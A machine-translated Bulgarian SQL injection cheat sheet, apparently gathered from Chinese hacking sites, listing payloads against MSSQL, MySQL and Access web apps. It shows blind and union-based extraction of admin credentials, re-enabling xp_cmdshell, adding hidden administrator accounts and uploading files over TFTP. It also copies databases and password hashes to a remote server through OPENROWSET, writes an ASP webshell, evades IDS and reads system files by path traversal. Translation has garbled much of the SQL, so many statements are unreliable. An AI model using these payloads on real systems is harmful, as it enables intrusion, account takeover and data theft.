MSSQL крос-бази данни заявки (смрадлива храна!) Тъмно)
Изцеди всяка последна капка от MS SQL
Препратки към SQL оператори и обекти от записи са обяснени подробно
За съхранените процедури в SQL Server
Създайте уебшелл с mssql бекъп
SQL_Injection напреднали приложения
Крос-сайт SQL инжекция (laokai)
Странна SQL инжекция (AMANL)
Разширена SQL инжекция в SQL Server приложения
Как да използвате SQL инжекция за преминаване през директории
Преглед на техниките за SQL инжектиране (преводач: demonalex)
Някои атаки срещу SQL бази данни
Техника за атака чрез SQL инжекции (JSW)
SQL_Injection Разширени приложения (APACHY)
Необичайни методи за SQL инжектиране (Guilin ветеран)
Резервно копие на обвивка
Говорим за структурата на инструкциите php+mysql (Heyhehehehe·≯Super· Хей)
Разширена SQL инжекция с MySQL(ангел)
L'injection (My)SQL чрез PHP
Oracle SQL език
Енциклопедия за ръчни инжекции на SQL
Предварителните изисквания изискват инструменти: SQL Query Analyzer и SqlExec Sunx Version ============================================================================================== 1. Да се определи дали има точка на инжектиране ; и 1=1 и 1=2 2. Предполагам, че името на таблицата е нищо повече от администратор, администратор, потребителски пропуск, парола и т.н.: и 0<>(изберете count(*) от *) и 0<>(изберете count(*) от admin) — Определи дали администраторската таблица съществува 3. Познайте броя на сметките Ако срещнете 0< върнете се на правилната страница 1< върнете страницата с грешка, за да посочите, че броят на акаунтите е 1 и 0<(изберете count(*) от admin) и 1<(изберете count(*) от admin) 4. Познайте името на полето Добавете името на полето, което мислим, в скобите len( ). и 1=(изберете брой(*) от админ, където len(*)>0)– и 1=(изберете count(*) от admin, където len(име на потребителско поле)>0) и 1=(изберете count(*) от admin, където len(_blank>име на поле за парола)>0) 5. Познайте дължината на всяко поле Познайте дължината да се трансформира >0, докато не се върне правилната страница и 1=(избери брой(*) от admin, където len(*)>0) и 1=(изберете count(*) от admin, където len(name)>6) грешка и 1=(изберете брой(*) от admin, където len(име)>5) Правилната дължина е 6 и 1=(select count(*) от admin, където len(name)=6) е правилно и 1=(изберете count(*) от admin, където len(password)>11) е правилно и 1=(select count(*) от admin, където дължината на грешката len(password)>12) е 12 и 1=(select count(*) от admin, където len(парола)=12) е вярно 6. Познай героите и 1=(изберете брой(*) от администратора, където е ляво(име,1)=a) — Познайте първата цифра на акаунта на потребителя и 1=(select count(*) от admin където left(name,2)=ab) — Познайте втората цифра на акаунта на потребителя Просто добавяй по един знак наведнъж, за да познаеш, познай толкова цифри, колкото току-що си познал, и ще излезе номерът на сметката (1) Познай името на масата
Използвани изречения: и съществува (изберете * от името на таблицата)
Например: и съществува (избери * от admin)
Ако страницата отразява правилно, това означава, че името на таблицата, което предположихме тук, е вярно, а ако страницата е грешна, значи името на таблицата, което сме написали тук, е грешно
, след това смени името на таблицата и продължаваш да гадаеш, докато не познаеш.
Обикновено често използваните имена на таблици включват admin, manage, user или put it in tool run (2) Познай полето
Използвани изречения: и съществува (изберете име на поле от името на таблицата)
Например: и съществува (изберете потребителско име от администратор)
Тук, ако приемем, че админ таблицата е тази, която познах правилно по-горе, искам да определя дали съществува полето с потребителско име, трябва да използвам това твърдение, ако страницата
Ако ехото на лицето е правилно, това означава, че името на полето, което предположихме тук, е правилно, а ако страницата е грешна, значи името на полето, което сме написали тук, е грешно
, след това смени името на полето и продължи да гадаеш, докато не познаеш.
Обикновено често използваните имена на полета включват потребителско име, парола, потребител, пропуск, име, пропуск, инвалидност, usr, psd и други полета (3) подреждане по
Ред по е за получаване на сумата от броя полета на тази страница, подготвяйки се за следващата съвместна заявка (4) Селект на съюза
1. Ако поддържате съвместна заявка, намерете бит за показване http://www.xxx.com/product_show.asp?id=1 и 1=2 избор на обединение
1,2,3,4,5,6,7,8,9,10,11 Да предположим, че битовете на дисплея са 5,6. След това трябва само да заменим имената на полета, съответстващи на потребителското име и паролата на администратора, с позицията на показателния бит тук
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 от администратора намери фоновия вход 2. Ако съвместната заявка не се поддържа Потребителското име и паролата на администратора не могат да бъдат получени без съвместна заявка – чрез Ascii дословно декодиране Две Използвайте ред , за да прецените броя на битовете в таблицата, и ако не работи, използвайте union select, за да ги подредите един по един, тук приемаме 8 бита Три Използвайте съвместна заявка, за да определите битовете на дисплея Четири Използвайте бита за показване, за да намерите името на базата данни, версията на базата, може да се инжектира версия 5.0 или по-нова
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Пет С името на базата данни можете да започнете да получавате схемата на името на таблицата =, последвана от HEX стойността на името на базата данни и да познаете името на таблицата
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +от+information_schema.колони+къде+ table_schema=0x666C6965725F6462617365 Шест Анализираното име на таблицата определя HEX стойността на името на таблицата на администратора =table name и отгатва полетата в таблицата http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЯСНО
+column_name),8+ от+information_schema.колони+къде+table_name=0x7075625F7765626D6173746572 Седем След като получим полетата в административната таблица, нека разгледаме съдържанието на полетата http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЯСНО
+потребителско име, 0x5f,userpwd),8+from+pub_webmaster Осем Инструментът сканира фона: Влезте в системата, за да качите трояна след като го намерите, и ако не можете да намерите robots.txt файла, до който можете да получите достъп Девет Ако не можете да намерите фона, паролата на MYSQL администратора ще бъде разкрита http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(потребител,парола),8+from+mysql.user Десет Случайно достъпете пътя и обратната връзка е 404 по подразбиране страница на IIS6, което показва, че сървърът на уебсайта е: Windows+IIS6+php+MySQL среда c:\\windows\\system32\\inetsrv\\MetaBase.xml Този път може да получи информация за конфигурацията на уебсайта. Конструирайте изказвания http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Единадесет Анализирайте кода и намерете фоновия адрес В първата стъпка трябва да получим дължината на полетата в таблицата Използвани изказвания: и (изберете топ 1 len (име на полето) от името на таблицата)>0 Като какво: и (изберете топ 1 LEN(admin_name) от администратора)>0 Страницата се показва нормално, дължината на полето admin_name е по-голяма от 0, и ще изпратя:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Страницата показва грешка, че полето е между 0 и 10, а дължината е 5 според дихотомията Използвайки същия метод, за да определя дължината на полето за паролата на администратора, получавам дължина 16 Стъпка 2 Сега нека преминем към втората стъпка – да вземем определен символ в полето и да получим ASCII кода на знака, който се използва
Изявление: и (изберете топ 1 ASC (mid(име на терена, N,1)) от името на таблицата)>0 Нека разгледам това изречение поотделно, първо най-вътрешната функция mid(потребителско име, 1,1), която е първият знак на admin_name полето, N
показва, че първите няколко знака трябва да бъдат прихванати, Тогава външната функция asc(), която преобразува символите, прихванати от средната функция, в ASCII код, най-външният горен 1, представлява полето за връщане на първото място
Рекорд, тогава, ">0" в края е за сравняване на конвертирания ASCII код с това число и накрая за получаване на прихващане, като постоянно променяме последната стойност
Вземете конкретната информация за този герой ASCII код Представяне:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Страницата се показва нормално, което показва, че ASCII кодът на този знак е по-голям от 30. Представяне:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Страницата се показва нормално, което показва, че ASCII кодът на този символ е по-голям от 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII кодът, който получих за този персонаж, е 97 Сравнете ASCII таблицата: Може да се заключи, че първият знак е "a". След това ще оценя ASCII кода на втория знак.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Страницата се показва нормално, което показва, че ASCII кодът на символа е по-голям от 90, а последната стойност винаги се променя Същият метод даде паролата на администратора и резултатът беше:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 и 1=(изберете топ 1 брой(*) от Admin, където Asc(mid(pass,5,1))=51) – Това запитване може да познае китайския потребител и паролата _blank>. Просто заменете следните числа с китайския ASSIC код
Конвертирайте в персонажи.
група по users.id има 1=1–www.myhack58.com групиране по users.id, user.username, users.password, users.privs с 1=1– ; Вмъкнете в потребителските стойности (666, attacker, foobar, 0xffff)–
UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където
TABLE_blank>_NAME=logintable- UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където
TABLE_blank>_NAME=logintable Където COLUMN_blank>_NAME НЕ Е В (login_blank>_id)- UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където
TABLE_blank>_NAME=logintable Където COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)- UNION Изберете ТОП 1 login_blank>_name ОТ logintable- UNION Изберете ТОП 1 парола ОТ logintable, където login_blank>_name=Rahul– Виж пача, пуснат от сървъра на _blank> = грешен SP4 пач, черна лента за безопасност и 1=(select @@VERSION)–
Погледнете разрешенията на _blank> акаунта за връзка с базата данни и резултатът се връща нормално, доказвайки, че това е системното разрешение за ролята на _blank> сървъра. и 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
Определи, че акаунтът в базата данни _blank> свързан. (Използвайте SA акаунт за свързване и връщане на нормално = докажи, че свързаният акаунт е SA) и sa=(Select System_blank>_user)– и user_blank>_name()=dbo– и 0<>(изберете user_blank>_name()–
Виж дали xp_blank>_cmdshell изтрива и 1=(Изберете брой(*) от master.dbo.sysobjects Където xtype = X И име = xp_blank>_cmdshell)
–
xp_blank>_cmdshell се изтрива, възстановява и поддържа абсолютно възстановяване по пътя ; ИЗПЪЛНИТЕЛЕН master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== разрешение за база данни се разкрива на физическия пътен код на уебсайта
========================================================================== 1、drop таблица [jm_tmp]; Create table [jm_tmp](стойност navrchar(4000) null,data nvarchar(4000)
null) -- Създаване на таблица
2、 изтрий [jm_tmp]; Вмъкнете [jm_tmp] изпълнителен master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Вмъкнете директорията на сайта в полето с таблица
3、и (изберете топ 1 cast([data] as nvarchar(4000) char(124) от [jm_tmp] ред по [data]
desc)=0 '//Открито поле
4. Изхвърли таблица [jm_tmp] -- Изтрий тази таблица. за командване да вземе черупката
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Други маршрути на станциите ======================load_file() Често използвана чувствителна информационна =========================================== 1、 замяна(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32)) Горните две са за преглед на PHP файл, който напълно показва кода. Има моменти, когато някои знаци не се заменят, като например "<" вместо "space", който се връща
Уеб страница. И кодът не може да бъде видян.
3. load_file(char(47)) може да изброи коренната директория на системите FreeBSD и Sunos
4. Вижте конфигурационния файл за виртуален хост на Linux APACHE в /etc/httpd/conf/httpd.conf или /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf или C:\apache\conf\httpd.conf за преглед на WINDOWS
System Apache файл
6. c:/Resin-3.0.14/conf/resin.conf Вижте информацията за конфигурацията на смолния файл на уебсайта, разработен от jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf за преглед на JSP виртуалния хост, конфигуриран на Linux системата
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin експлодиращ път
11. C:\Windows\system32\inetsrv\MetaBase.xml Вижте конфигурационния файл за виртуален хост на IIS
12. /usr/local/resin-3.0.22/conf/resin.conf за преглед на конфигурационния файл на RESIN за 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Същото като по-горе
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Виртуален хост на APASHE
15. /etc/sysconfig/iptables зависи от политиката на защитната стена
16. /usr/local/app/php5 b/php.ini настройки, еквивалентни на PHP
17. /etc/my.cnf MYSQL конфигурационен файл
18. /etc/redhat-release системна версия на Red Hat
19 、C:\mysql\data\mysql\user. MYD съществува в потребителската парола в системата MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 за преглед на IP.
21. /usr/local/app/php5 b/php.ini //PHP свързани настройки
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // настройки на виртуалния уебсайт
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue показва информацията за разпространение на Linux ядрото
26、/etc/ftpuser
27. Проверете оперативния лог файл под LINUX user.bash_history или .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Експериментирай с обратен PING сам ; използвай майстор; обяви @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Изпълнителен директор
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Добави акаунт ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Създайте виртуален директория E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Атрибути за достъп: (с запис в уебшел) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Специален _blank> трик за burst на библиотеката: :%5c=\ или модифицирай %5 с / и \ за commit и 0<>(изберете топ 1 пътя от newtable)–
Вземете името на базата данни (от 1 до 5 са ID-тата на системата, и можете да ги оцените над 6) и 1=(изберете име от master.dbo.sysdatabases, където dbid=7)– и 0<>(изберете count(*) от master.dbo.sysdatabases, където name>1 и dbid=6) Изпрати dbid на свой ред = 7,8,9.... Вижте повече _blank> имена на бази данни
и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=U) се появяват в таблица при прием на администратор и 0<>(изберете топ 1 име от bbs.dbo.sysobjects, където xtype=ти и име не е в (Администратор)).
Други маси. и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype=you и name=admin и uid>(str(id))) Числовата стойност на UID се приема за 18779569 uid=id и 0<>(изберете топ 1 име от bbs.dbo.syscolumns, където id=18779569) получава поле admin, false
Настроено на user_blank>_id и 0<>(изберете име на топ 1 от bbs.dbo.syscolumns, където id=18779569 а име не е в (id,...)) за да се разкрият други полета и 0<(изберете user_blank>_id от BBS.dbo.admin, където потребителското име>1) за получаване на потребителското име От своя страна можете да получите _blank> парола。。。。。 Да предположим, че има полета като потребителско име user_blank>_id, парола и т.н.
и 0<>(изберете count(*) от master.dbo.sysdatabases, където name>1 и dbid=6) и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=U) за получаване на името на таблицата и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=ти и име не е в (Адрес)) и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype=you и name=admin и uid>(str(id)))
Определете id стойността и 0<>(изберете име на топ 1 от BBS.dbo.syscolumns, където id=773577794) всички полета
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* от admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 от admin (union,access също е лесен за използване)
Вземи WEB пътя ; Create table [dbo]. [размяна] ([swappass][char](255)); – и (изберете топ 1 swappass от swap)=1– ; Създаване на TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Обявяване @test varchar(20) exec
Учителю.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=СИСТЕМА
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, стойности=@test
OUTPUT вмъкнете в paths(path) стойности(@test)– ; Използвай Ku1; – ; създаване на таблица cmd (STR изображение); – Създаване на таблицен cmd с типа изображение 1. Начинът да се премахне процесът на разширение на xp_cmdshell е да се използва следното твърдение:
ако съществува (изберете * от dbo.sysobjects, където id=object_id(N'[dbo].[ xpcmdshell]') и
OBJECTPROPERTY(id,N'IsExtendedProc')=1) изпълнителен sp_dropextendedproc N'[DBO]. [xp_cmdshell]'
2. Начинът да се добави процесът xp_cmdshell разширение е да се използва следното изявление:
(1) SQL анализатор на заявки
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Първо, попълнете проценти в опцията Формат на SqlExec Sunx Version и ги въведете в опцията CMD
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Премахване
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Съществуват xp_blank>_cmdshell тестови процеси: ; Изпълнителен майстор... xp_blank>_cmdshell реж. ; изпълнителен master.dbo.sp_blank>_addlogin Дзяоняня$; – Добавяне на SQL акаунти ; изпълнителен master.dbo.sp_blank>_password нул, jiaoniang$,1866574; – ; изпълнителен master.dbo.sp_blank>_addsrvrolemember jiaoniang$ системен администратор; – ; Exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Изпълнителен майстор... xp_blank>_servicecontrol започнете, график за започване на услугата _blank> Изпълнителен майстор... xp_blank>_servicecontrol старт, сървър ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Изпълнителен майстор... xp_blank>_cmdshell tftp – i youip get file.exe – Качване на файлове чрез TFTP
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a директор C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\ ; обяви @a; set @a=db_blank>_name(); резервно копие на база данни @a към disk=вашия IP Вашата споделена директория bak.dat Ако е ограничено, да. изберете * от openrowset(_blank>sqloledb,server; sa; ,избери ОК! Изпълнителен директор
master.dbo.sp_blank>_addlogin хакс)
Структура на заявките: Избери * ОТ новини Където id=... И тема=... И ..... adminand 1=(изберете брой(*) от [user], където username=victim и right(left(userpass,01),1)=1)
и userpass <> Изберете 123; – ; използвай майстор; – :a или име като fff%; – Показва потребител на име ffff. и 1<>(изберете брой(имейл) от [потребител]); – ; Актуализирай [потребители] Set email=(Изберете име на топ 1 от sysobjects, където xtype=you и статус>0) където
name=ffff; – ; Актуализирай [потребители] Set Email=(Изберете Top 1 ID от SysObjects, където xtype=Ти и Name=AD) където
name=ffff; – ; Актуализирай [потребители] Set Email=(Изберете име на топ 1 от SysObjects, където xtype=You и ID>581577110)
където name=ffff; – ; актуализирай [потребители] Set email=(Изберете топ 1 брой(ID) от паролата), където name=ffff; – ; актуализиране [потребители] Set email=(изберете топ 1 PWD от паролата, където id=2), където name=ffff; – ; Актуализирай [потребители] Set email=(Изберете име на топ 1 от паролата, където id=2), където name=ffff; – Горното твърдение е да се получи първата потребителска таблица в базата данни _blank> и да се постави името на таблицата в полето за имейл на потребителя на ffff. Като разгледате потребителския профил на ffff, можете да получите първата таблица, наречена AD След това вземете ID на тази таблица според рекламата с името на таблицата, за да получите името на втората таблица
Вмъкнете в потребителските стойности( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Вмъкнете в потребителски стойности( 667,123,123,0xffff)– Вмъкнете в потребителските стойности (123, администратор–, парола, 0xffff)– ; и потребител>0 ; и (select count(*) от sysobjects)>0 ; и (select count(*) от mysysobjects)>0 // за базата данни access_blank>
Изброете името на таблицата с данни ; Актуализирай AAA set aaa=(Изберете име на топ 1 от sysobjects, където xtype=you и status>0); – Тук името на първата таблица се обновява в областта AAA. Прочетете първата таблица, а втората може да се чете така (добавете и наименувате по състоянието<> името на таблицата, която току-що сте получили). ; Актуализация AAA Set AAA=(Изберете име на топ 1 от sysObjects, където xtype=you и status>0 и
име<>гласуване); – Тогава id=1552 и съществува (изберете * от aaa, където aaa>5) Прочети втората таблица и я прочети една по една, докато не остане никаква. Полето за четене изглежда така: ; актуализиране на AAA set aaa=(Изберете топ 1 col_blank>_name(object_blank>_id(име на таблица),1)); – Тогава id=152 и exists(select * от aaa, където aaa>5) получава грешка и получава името на полето ; актуализиране на AAA комплекта AAA=(Изберете топ 1 col_blank>_name(object_blank>_id(име на таблица),2)); – Тогава id=152 и exists(select * от aaa, където aaa>5) получава грешка и получава името на полето
[Получи име на таблицата с данни] [Актуализирайте стойността на полето до името на таблицата и след това прочетете стойността на това поле, за да получите името на таблицата] Update таблица Name set field=(Изберете име на топ 1 от sysobjects, където xtype=you и статус>0 [ и име<>
Името на таблицата, което получавате: Намерете едно плюс едно]) [ където условие] изберете име на топ 1 от sysobjects, където xtype=ти и
статус>0 и име не е в (таблица 1, таблица 2,...) Създаване на акаунт за администратор на база данни и акаунт за системен администратор _blank> _blank> инжектиране на уязвимост чрез SQLSERVER [Текущият акаунт трябва да е групата SYSADMIN]
[Вземи име на полето в таблицата с данни] [Актуализирайте стойността на полето до името на полето и след това прочетете стойността на това поле, за да получите името на полето] Update table name set field=(Select top 1 col_blank>_name(object_blank>_id (име на таблица с данни към заявка), колона полето
Например: 1) [ където условие]
Заобикаляне на откриването на IDS [Използване на променливи] ; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a директор C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\
1. Отворете базата данни за отдалечени _blank> Основен синтаксис изберете * от OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, изберете * от таблица1 ) Параметри: (1) OLEDB име на доставчик 2. Параметърът на свързващия низ може да бъде всеки порт за свързване, например select * от OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,
Изберете * от таблицата 3. Копирайте цялата _blank> база данни на целевия хост и вмъкнете всички отдалечени таблици в локалната таблица.
Основен синтаксис: вмъкнете в OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123, изберете * от таблица1) Изберете
* от таблица 2 Това линейно изявление копира всички данни от таблица 2 на целевия хост към таблица 1 в отдалечената база данни _blank>. Подходящи ремонти в практическа употреба
Променете IP адреса и порта на свързващия низ така, че да сочат там, където ви трябва, например: вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от таблица1) избери * от таблица2 вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от _blank>_sysdatabases) Изберете * от master.dbo.sysdatabases вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от _blank>_sysobjects) изберете * от user_blank>_database.dbo.sysobjects вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от _blank>_syscolumns) Изберете * от user_blank>_database.dbo.syscolumns Репликирайте _blank> база данни: вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от таблица1) избери * от базата данни... Таблица1 вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* от таблица2) избери * от базата данни... Таблица2
Хешът на паролата, която копира хеш таблицата (HASH) за вход _blank> паролата, се съхранява в sysxlogins. Ето как: вмъкнете в OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select * от _blank>_sysxlogins)
Изберете * от database.dbo.sysxlogins След като вземеш хаша, можеш да го насилиш.
За да преминете през директорията: Първо, създайте временна таблица: temp ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; вмъкни временен изпълнителен master.dbo.xp_blank>_availablemedia; – Вземи всички текущи дискове ; Вмъкнете в temp(id) exec master.dbo.xp_blank>_subdirs C:\; – Вземете списък с поддиректории ; Вмъкнете в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Вземете структурата на дървото на директорията за всички поддиректории,
Слейте инчовете в температурната таблица ; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell тип C:\web\index.asp; – Преглед на файл
Съдържание ; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell директор C:\; – ; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell директор C:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; Вмъкнете в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Приложими правомощия
